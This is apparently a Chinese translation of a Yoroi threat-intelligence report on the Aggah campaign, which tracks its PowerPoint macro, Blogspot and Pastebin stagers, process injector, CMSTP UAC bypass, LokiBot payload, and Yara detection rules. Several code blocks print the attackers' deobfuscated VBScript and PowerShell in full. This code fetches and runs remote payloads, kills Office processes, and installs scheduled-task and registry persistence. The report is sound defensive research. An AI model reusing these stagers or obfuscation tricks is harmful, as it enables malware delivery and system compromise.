导语:2019年3月,网络安全公司Palo Alto Networks旗下情报威胁分析研究小组Unit 42公开披露了一起针对中东国家的网络攻击行动,并认为它与巴基斯坦黑客组织“蛇发女妖(Gorgon)”有关。
2019年3月,网络安全公司Palo Alto Networks旗下情报威胁分析研究小组Unit 42公开披露了一起针对中东国家的网络攻击行动,并认为它与巴基斯坦黑客组织“蛇发女妖(Gorgon)”有关。
这起行动被命名为“Aggah”,源于攻击者用来托管Revenge远控木马的Pastebin网站账户名(“HAGGA”)以及攻击者用来分割发送到Revenge C2服务器的数据的字符串(“aggah”)。
不过很快,另一家网络安全公司Yoroi声称发现了一起与“Aggah”行动似乎存在关联的网络攻击行动,它们有着非常相似的感染链。
最大的区别在于,“Aggah”行动传播的恶意软件是Revenge远控木马,而新发现的行动传播的是AzoRult间谍软件。
在过去的一年中,Yoroi的研究人员不断跟踪Aggah的活动。期间Yoroi的研究人员还深入研究了Roma225攻击活动,因为攻击者在恶意软件的攻击过程中使用的就是 RevengeRAT,比如,Cybaze-Yoroi ZLab的研究人员对一款针对意大利汽车行业的间谍恶意软件进行了分析,该恶意软件就是利用了RevengeRAT。
最近Cybaze-Yoroi ZLab组织决定分析最新的Aggah活动样本,并跟踪其最新变化。
技术分析
下表是要分析的样本信息:
初始文件是Microsoft PowerPoint PPA文件,它实际上是一个插件文件,旨在向经典的PowerPoint演示文稿中添加新行为,在本案例中,就是添加一个恶意宏:
恶意宏代码段
PPA中的恶意代码滥用Microsoft mshta实用程序从BlogSpot平台下载网页。
Bit.ly链接的结果
HTML页面与以前的Aggah攻击的操作手法非常相似。在此案例中,blogspot帖子的名称为“20sydney new”,但是它使用了与以前相同的技巧:将javascript阶段代码隐藏在web页面中,这是一个特殊的代码片段,仅由mshta引擎解释和执行。
隐藏在Blogspot网页中并由MSHTA引擎执行的恶意代码
传递了“unescape()”函数的参数会导致另外两层编码的字符串,采用了一种“matrioska unecape混淆”。经过这些层之后,Yoroi的研究人员恢复了stager的恶意逻辑:
< script language="VBScript" > Set M_c = CreateObject(StrReverse("llehS.tpircSW")) Dim L_c L_c = StrReverse("exe.drowniw mi/ f/ llikksat & exe.lecxe mi/ f/ llikksat c/ dmc") M_c.Run L_c, vbHide set Ixsi = CreateObject(StrReverse("llehS.tpircSW")) Dim Bik Bik1 = "mshta http:\\pastebin.com\raw\JELH48mw" Ixsi.run Bik1, vbHide set nci = CreateObject(StrReverse("llehS.tpircSW")) Dim xx xx1 = "r ""mshta http:\\pastebin.com\raw\JELH48mw"" /F " xx0 = StrReverse("t/ )+niam+( nt/ 06 om/ ETUNIM cs/ etaerc/ sksathcs") nci.run xx0 + xx1, vbHide Set ll = CreateObject(StrReverse("llehS.tpircSW")) no = StrReverse("mmetsaP\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS\UCKH") ll.RegWrite no,"mshta http:\\pastebin.com\raw\NxJCPTmQ","REG_SZ" self.close < /script >
代码段1
植入这些代码的目的旨在终止Word和Excel流程,此后,恶意软件立即再次利用mshta下载其他代码,这一次是通过pastebin代码段进行的。
恶意Pastebin片段
这篇文章的作者不再是Yoroi的研究人员之前分析中看到的“HAGGA”,而是“YAKKA3”:
YAKKA3 Pastebin用户的使用过程
该粘贴创建于2019年11月25日,在上个月的分析中可能已被多次编辑。过去,Aggah经常更改其粘贴内容,以修改恶意软件行为,并删除许多种类的恶意软件。在本文的案例中,其中一些人怀疑与Gorgon APT组有关。无论如何,在分析过程中,编码字符串的内容如下:
< script language="VBScript" > Set MVn = CreateObject(StrReverse("llehS.tpircSW")) Mcn = "powershell do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);[void] [System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'Dow$_$loadStri$_$g'.replace('$_$','n'),[Microsoft.VisualBasic.CallType]::Method,'https://paste.ee/r/Zhs3s')|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'Dow$_$loadStri$_$g'.replace('$_$','n'),[Microsoft.VisualBasic.CallType]::Method,'https://paste.ee/r/Fk9yH').replace('*','0x')|IEX;[vroombrooomkrooom]::kekedoyouloveme('calc.exe',$f)" MVn.Run Mcn, vbHide self.close < /script >
代码段2
上面的脚本是一段VBS脚本,旨在运行其他一些Powershell加载程序。powershell脚本通过连接到google.com测试互联网连接,然后开始感染。该脚本将下载另外两个粘贴,第一个是PE文件,第二个是自定义.NET进程注入实用程序。
注入器(injector)
注入器的样本信息如下:
如代码片段2所示,通过其静态方法“ [vroombrooomkrooom] :: kekedoyouloveme('calc.exe',$ f)”调用注入器组件。该组件的惟一目的是将有效载荷注入另一个进程的内存中,如以下参数所示:
注入另一个进程的内存中的技术
可以看出,注入技术非常简单。实际上,该注入使用普通的“CreateRemoteThread”技术,CreateRemoteThread是一个Windows API函数,它能够创建一个在其它进程地址空间中运行的线程。
在calc.exe进程中注入的有效载荷
UAC绕过工具
在代码片段1中,通过将 “mshta http:[\\pastebin.]com\raw\NxJCPTmQ” 命令设置为注册表项“HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Pastemm”,Yoroi的研究人员看到了aggah植入程序在目标计算机上仍然存在。因此,它可能在每次运行时加载不同的有效载荷。
由持久性攻击机制执行的一部分恶意脚本
与以前的粘贴不同,该粘贴的作者是YAKKA4。可能是一种冗余形式,以防其他账户被注销。
YAKKA4
无论如何,此粘贴提供的代码会从另一个粘贴网站:paste.ee下载另一个二进制文件。
< script language="VBScript" > Set i9i9 = CreateObject("W" + "S" + "c" + "r" + "i" + "p" + "t" + "." + "S" + "h" + "e" + "l" + "l") i9i9.Run("P" + "o" + "w" + "e" + "r" + "s" + "h" + "e" + "l" + "l" + "." + "e" + "x" + "e -noexit [Byte[]]$sc64= iex(iex('(&" + "(GCM *W-O*)'+ 'Net.'+" + "'WebC'+'l" + "ient)'+'.Do" + "w'+'nload'+'Str'+'ing(''https://p" + "aste.ee/r/6EdQX'').repl" + "ace(''*^*'',''^%$'').r" + "e" + "p" + "l" + "a" + "c" + "e" + "(''^%$'',''0x'')'));[<##>" + "Ap" + "pDomain<##>]::<##>('(" + "&$@#$%^&*(urrent" + "Domain'.rep" + "lace('(&$@#$%^&*(','C'))<##>.<##>('%" + "*&^*&^*&^*&^*&oad'.r" + "eplace('%" + "*&^*&^*&^" + "*&^*&" + "','L'))(" + "$sc64).'EntryP" + "oint'<##>.<##>('in*&^*" + "&^*&^&*^*&^o" + "k))*()*)(**(&(*&'.r" + "e" + "p" + "l" + "a" + "c" + "e" + "('))*()*)(**" + "(&(*&','e').r" + "e" + "p" + "l" + "a" + "c" + "e" + "('*&^" + "*&^*&^&*^*&^','v'))($null,$null)"),0 self.close < /script >
代码段3
最后一个二进制文件(Connection Manager)实际上是一种实施CMSTP绕过技术的黑客工具,该技术用于绕过Windows UAC提示。
Connection Manager 是一组组件,它使管理员能够创建和分发自定义的远程访问连接以及创建,分发和自动更新自定义的电话簿。
但是,网络攻击者可能利用受感染的INF文件绕过UAC执行任意命令,从而以隐秘的方式提升权限。在本文的案例中,CMSTP绕过技术将实现为.NET可执行文件。
CMSTP绕过技术
有效载荷
正如Yoroi的研究人员过去看到的那样,Aggah经常在一段时间内更改其有效载荷,而这次Yoroi的研究人员发现所传送的恶意软件不是RevengeRAT,而是LokiBot的变体。自2016年以来,该木马程序就在不断进行迭代,并且被行业所熟知。
在本文的案例中,它具有以下配置:
与C2通信的Loki Bot配置
如之前所预期的一样,Aggah载荷会动态进行变化。根据对@DrStache等社区研究的观察,在Lokibot观察的前几天,Aggah pastebin帐户就删除了AZOrult信息盗窃程序。
通过Azorult-Tracker服务调查c2基础设施,Yoroi的研究人员注意到Aggah在此期间传播的AZOrult恶意软件主要针对美国,阿拉伯联合酋长国以及巴基斯坦,德国和以色列。
总结
Aggah正在不断盛行,在不断地迭代过程在,它基于合法的第三方服务(例如Pastebin和BlogSpot)构建了自定义的stager植入程序,攻击者滥用这些服务来管理受感染的主机并在不租用服务器的情况下运行它的僵尸网络。
在过去的一年中,Cybaze-Yoroi ZLab与Unit42一起共同努力跟踪Aggah的活动,目前,Yoroi的研究人员可以确认它仍然活跃且危险。目前尚不清楚该恶意软件的开发者是在出售其黑客服务还是在自己组织攻击过多,或两者兼而有之。
总之,目前还没有确凿的证据证实或否认它与Gorgon APT的关系。
IoC
Yara规则
rule YAKKA3_Campaign_Jan_20_PPA_Macro { meta: description = "Yara Rule for Yakka3 campaign macro PPA document" author = "Cybaze Zlab_Yoroi" last_updated = "2020-01-23" tlp = "white" category = "informational" strings: $a1 = { 1A 88 63 8D A9 78 43 FF } $a2 = { 0D 1B 43 00 1B 44 00 FB 30 1C 33 } $s1 = "Shell" condition: all of them } rule YAKKA3_Campaign_Jan_20_Injector_Module { meta: description = "Yara Rule for Yakka3 campaign Injector module" author = "Cybaze Zlab_Yoroi" last_updated = "2020-01-23" tlp = "white" category = "informational" strings: $s1 = "vroombrooomkrooom" $s2 = "kekedoyouloveme" $s3 = "WriteProcessMemory" $a1 = { 00 ED 08 8C 05 31 00 ED 08 43 } condition: uint16(0) == 0x5A4D and all of them } rule YAKKA3_Campaign_Jan_20_CMSTP_Bypass { meta: description = "Yara Rule for Yakka3 campaign CMSTP Bypass" author = "Cybaze Zlab_Yoroi" last_updated = "2020-01-23" tlp = "white" category = "informational" strings: $s1 = "cmstp.exe" ascii wide $s2 = "CurrentVersion" ascii wide $s3 = "INF" ascii wide $a1 = { 0A 06 8E 69 2D 06 7E 18 } condition: uint16(0) == 0x5A4D and all of them } rule YAKKA3_Campaign_Jan_20_LokiBOT_Payload { meta: description = "Yara Rule for Yakka3 campaign Loki bot Payload" author = "Cybaze Zlab_Yoroi" last_updated = "2020-01-23" tlp = "white" category = "informational" strings: $s1 = "Fuckav.ru" ascii wide $s2 = "SOFTWARE" wide condition: uint16(0) == 0x5A4D and $s1 and #s2 > 10 }
本文翻译自:https://blog.yoroi.company/research/aggah-how-to-run-a-botnet-without-renting-a-server-for-more-than-a-year/如若转载,请注明原文地址: